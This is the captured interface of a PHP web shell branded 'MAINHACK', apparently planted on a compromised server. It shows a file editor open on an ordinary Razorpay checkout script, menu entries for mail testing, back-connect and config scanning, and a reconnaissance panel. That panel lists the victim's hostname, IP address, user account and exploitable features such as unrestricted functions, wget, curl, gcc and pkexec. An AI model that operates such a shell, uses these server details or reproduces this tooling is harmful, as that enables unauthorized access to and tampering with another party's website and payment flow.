[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: razorpay.js
/*------------------------------ Razorpay Intergration --------------------------------*/ var logo = document.getElementById('logo'); var options = { "key": $('#razorpayId').val(), // Enter the Key ID generated from the Dashboard "amount": $('#amount') .val(), // Amount is in currency subunits. Default currency is INR. Hence, 50000 refers to 50000 paise "currency": $('#currency').val(), "name": $('#name').val(), "description": $('#description').val(), "image": logo, // You can give your logo url "order_id": $('#orderId') .val(), //This is a sample Order ID. Pass the `id` obtained in the response of Step 1 "handler": function (response) { // After payment successfully made response will come here // send this response to Controller for update the payment response // Create a form for send this data // Set the data in form document.getElementById('rzp_paymentid').value = response.razorpay_payment_id; document.getElementById('rzp_orderid').value = response.razorpay_order_id; document.getElementById('rzp_signature').value = response.razorpay_signature; // // Let's submit the form automatically document.getElementById('rzp-paymentresponse').click(); }, "prefill": { "name": $('#name').val(), "email": $('#email').val(), "contact": $('#contactNumber').val() }, "notes": { "address": $('#address').val() }, "theme": { "color": "#F37254" } }; var rzp1 = new Razorpay(options); window.onload = function () { document.getElementById('rzp-button1').click(); }; document.getElementById('rzp-button1').onclick = function (e) { rzp1.open(); e.preventDefault(); }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.84 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002